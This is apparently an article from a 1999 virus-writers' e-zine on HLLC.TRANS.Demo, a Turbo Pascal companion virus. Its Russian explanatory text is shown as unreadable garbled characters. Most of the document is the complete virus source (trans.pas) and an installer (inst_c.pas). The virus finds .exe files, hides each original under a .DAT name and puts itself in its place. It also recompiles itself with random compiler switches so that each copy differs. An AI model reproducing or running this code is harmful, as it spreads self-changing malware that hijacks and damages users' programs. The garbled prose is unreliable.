- [Duke's Virus Labs #4] - [Page 06] -

HLLC.TRANS.Demo
䨧  ᪠ (Part II)
(c) by Duke/SMF

     : HLLC.TRANS.Demo
         : Duke/SMF
 ண.   : Turbo Pascal 7.0
 ᮧ : 19.01.99


      ᪨ த  , 㡫
 ୠ DVL #2 ( 11).       TRANS.Demo-
 :) ᫨ ࠭  । ।⠢  ⢥ ਬ
HLLP-,  ᥩ ,   HLLC 㤥 筮 - 
ணࠬ ,  ᯥ䨪 ࠦ.  ⪠  ᯮ짮
ZIP-娢: ᯠ騪  ⢮  PATH,  ࠧ- !
⮬  ⠭  SFX-娢.

   ਢ ᪮쪮 ।஢ 뤥থ  ।饩 , ⮡
᭨  .

===== Cut =====
魮 孮 TRANS

     ᯮ 孮 TRANS : Take RANdom Switch (
砩 ४⥫).  TRANS 砥  ४樨 室
⥪c   ࠧ  묨, 롨ࠥ묨 砩 ࠧ ⠭
४⨢ . 祭  ⮬   ࠧ ࠧ  ࠧ
ᮤন. ⪮  HLLC.TRANS.Demo  
஢/ࠧ   ⢨  PATH  몠 Pascal.

  HLLC.TRANS.Demo

   ।⠢塞 襬   HLLC.TRANS.Demo  ਬ஬
ॠ樨 TRANS-孮.  ᠭ  Turbo Pascal 7.0   
⪮஢ ࠬ BPC.EXE (Borland Pascal)  TPC.EXE (Turbo
Pascal). (⮨ ,  १⮬ 樨   ⮣ 
室 ࠧ묨 ࠬ,   䠩  ࠧ ᮤন.
  楯  䨧? ).    ப  ஢.
,     祩   ࠡᯮᮡ
 ⠭ Intended.   ਭ  AS IS ( ), 砩 
ਤ뢠 - .

<skipped>

 孨᪨ ஡⥩

   ஢  ᯮ ४⥫ ४⨢ .
⮨ ஡ ᪠   -        ࠡ
.  "+"  ४⨢ 砥  ࠧ襭,  "-" - .
⬥祭 ᨬ "*" ४⨢ 뢠 묨    ⬥.
ᠭ  ४⨢   ४⥫, ⠭  "+",  
᪮ -   "-".

{$A+}   - ࠢ  ࠭ ᫮ ()
          [ A+  ६  ⠭    ࠢ
            ᠬ    ࠧ ஬⪨;  ⨢
          砥  ࠧ   㣮]
{$B+} * -  ᪨ ࠦ  ( 祭 १)
          [ 設  ࠧ ᮤঠ]
{$D+}   - ࠧ () ࠡ  ஥ ⫠稪
{$E+}   -  (⪫) ० ணࠬ 樨 ᮯ
          [ E+  ணࠬ  ⥪ ணࠬ 樨
          ᮯ]
{$F+}   - ᯮ짮  FAR ( NEAR)  맮
{$G+} * - ᯮ짮 ( ᯮ짮)    ய
          Intel 80286 (ய Intel 8088)
          [ ४⨢   TP 7.0]
{$I+} * -  (⪫) ஫ 権 -뢮
          [ I+  ⥫ ,  ஢ 訡
          ᫥  樨 -뢮,  㦥 訡
          ணࠬ ⠭]
{$L+}   -  ( )  ᨬ  ଠ  ⫠稪
{$N+}   - ᯮ짮 ᫮ ᮯ (ॠ 樨  饩
          窮 ணࠬ)
{$O+}   - ࠧ ( ࠧ) ᮧ ૥ 
{$R+} * -  (⪫) ஫ ࠭ 
{$S+} * -  (⪫) ஫  ९ ⥪
          [ S+  ⥫ , ஢騩 ⥪ 
          ९]
{$V+} * -  (⪫) ஫  ப  饭  楤
           㭪樨
{$X+}   - ᯮ짮 ( ᯮ짮) ७ ᨭ⠪
          [ ४⨢   TP 7.0]
===== Cut =====

    ⥯   ᪠.  ᫥ ४⨢
 ४⨢ P, Q, T, V  - 㣨,   ਬ
 짮  .

    ᮧ ࠡ饣  室:
-  室 ⥪  SFX-娢
-   SFX-娢  室 ⥪,  室
  ९   室 ⥪ ( ⮬  砥 ४ :)
- ⪮஢ 室 ⥪
-   ⠫ inst_c.exe ᮧ ࠡᯮᮡ 䠩-

   ਢ  ୠ쭮  室  ⪮஢. ⮬ ᫨
ᮧ   ⮣ ⥪,  㤥 ⫨  ࠧ  ,
ᮧ  ஢ 室.  ਠ  ਢ 
ਫ饬   娢.

    ᪠ ஬ ᯠᨡ SMT  ,   ⮫   
  䨧. -- !!!

===== begin trans.pas =====
{$A+,B-,C-,D-,E-,F-,G-,I+,L+,N-,O-,P-,Q-,R-,S+,T-,V-,X-}
{$M 5000, 0, 5000}
uses dos;
const ZS=2166;              {ࠧ SFX-娢  室 }
var J,                      {ப  㫥 ࠬ}
    C:string;               {ப  COMSPEC}
    P:string;               { }
    V:file;                 {饭 䠩  ᮬ}
    F,                      {  ஢  }
    K:array[1..16] of byte; {  ஢ ண }
    Par:string;             {ࠬ 饭 䠩}
    I:integer;              {稪}
    A : byte;               {稪 樨  }
    a1:dirstr;
    a2:namestr;
    a3:extstr;
    NewST:string;           {  }
{==========================================================================}
procedure TRANS(ST:string);             {ᮧ  }
var Z,                                  {娢  ⥪⮬ }
    T,                                  {室 ⥪ }
    G,                                  {䠩-⢠}
    N:file;                             { }
    S:byte;                             { ᨬ '-'  '+'}
    D:array[1..ZS] of byte;             {ᨢ  SFX-娢}
    B:byte;
begin
fsplit(ST,a1,a2,a3);
NewST:=a1+a2+'.DAT';
assign(G,NewST);{$I-}reset(G);{$I+}
if ioresult=0 then                      {㦥 ࠦ :( }
  begin close(G);exit;end;
assign(V,J);reset(V,1);                 {뢠 䠩  ᮬ}
seek(V,filesize(V)-16-ZS);blockread(V,K,16);{⠥  }
{------ᯠ 娢---------}
assign(Z,'trans!.com');rewrite(Z,1);
blockread(V,D,ZS);
close(V);
A:=1;
for I:=1 to ZS do
  begin
  d[i]:=d[i] xor K[a];
  if A=16 then A:=1 else inc(A);
  end;
blockwrite(Z,D,ZS);
close(Z);
exec('trans!.com','>nul');              {ᮧ  ᪥ trans.pas}
erase(Z);                               {㤠塞 娢}
{-----塞 PAS-䠩------}
Randomize;
assign(T,'trans.pas');reset(T,1);
for I:=1 to 18 do
  begin
  seek(T,3*I);
  B:=random(2);
  if B=0 then S:=ord('-') else S:=ord('+');
  blockwrite(T,S,1);
  end;
close(T);
{-----㥬  -----}
exec(C,'/c '+P+' trans.pas>nul');
erase(T);                               {㤠塞 室}
assign(N,'trans.exe');reset(N,1);
for I:=1 to 16 do F[i]:=random(256);
seek(N,filesize(N));blockwrite(N,F,16); {뢠 }
A:=1;
for I:=1 to ZS do                       {㥬 娢}
  begin
  D[i]:=D[i] xor F[A];
  if A=16 then A:=1 else inc(A);
  end;
blockwrite(N,D,ZS);                     {뢠 娢}
close(N);
assign(G,ST);
rename(G,NewST);
rename(N,ST);
end;
{=========================================================================}
procedure Finder;  { 䠩}
var N:searchrec;
begin
findfirst('*.exe',$21,N);
while doserror=0 do
  begin
  TRANS(N.name);
  findnext(N);
  end;
end;
{=========================================================================}
function Cmp:boolean; {஢塞 稥 ஢}
var t:boolean;
begin
t:=false;
P:='tpc.exe';
exec(C,'/c '+P+'>nul');
if doserror<>0 then
  begin
  P:='bpc.exe';
  exec(C,'/c '+P+'>nul');
  if doserror=0 then t:=true;
  end
else t:=true;
Cmp:=t;
end;
{=========================================================================}
begin
C:=GetEnv('COMSPEC');
if Cmp=true then
  begin                                   {᫨  }
  {-----   ࠦ ----}
  J:=paramstr(0);                         { 饭 ணࠬ}
  Finder;                                 { 䠩}
  end;
{-----   -----}
Par:='';
for I:=0 to paramcount do
  Par:=Par+' '+paramstr(I);               {࠭ ࠬ஢}
fsplit(J,a1,a2,a3);
NewST:=a1+a2+'.dat';
exec(NewST,Par);
end.
===== end   trans.pas =====

===== begin inst_c.pas =====
program Install_HLLC_TRANS_Demo;
var key : array[1..16] of byte;{}
    V,Z : file;
    T : array[1..15000] of byte;
    A : byte;                  {稪 樨  }
    SV,                        { }
    SZ,                        { 娢}
    I : integer;               {稪 横}
    C : byte;                  {஬筠 稭}
begin
writeln(' ணࠬ ।祭  ⠫樨 ');
writeln('HLLC.TRANS.Demo (c) by Duke/SMF');
if paramcount<>2 then
  begin
  writeln('ᯮ짮 : INSTALL.EXE <䠩_p> <SFX_娢>');
  halt;
  end;
assign(V,paramstr(1));reset(V,1);
SV:=filesize(V);
assign(Z,paramstr(2));reset(Z,1);
SZ:=filesize(Z);
Randomize;
for i:=1 to 16 do key[i]:=random(256);    {ᮧ }
seek(V,filesize(V));
blockwrite(V,key,16);                     {襬 }
A:=1;
for i:=1 to SZ do                         {⠥ 娢...}
  begin
  blockread(Z,C,1);
  T[i]:=C xor key[A];                     {㥬 娢}
  if A=16 then A:=1 else inc(A);
  end;
for i:=1 to SZ do blockwrite(V,T[i],1);   {... 襬 }
close(V);
close(Z);
writeln('Installation complete!');
end.
===== end   inst_c.pas =====

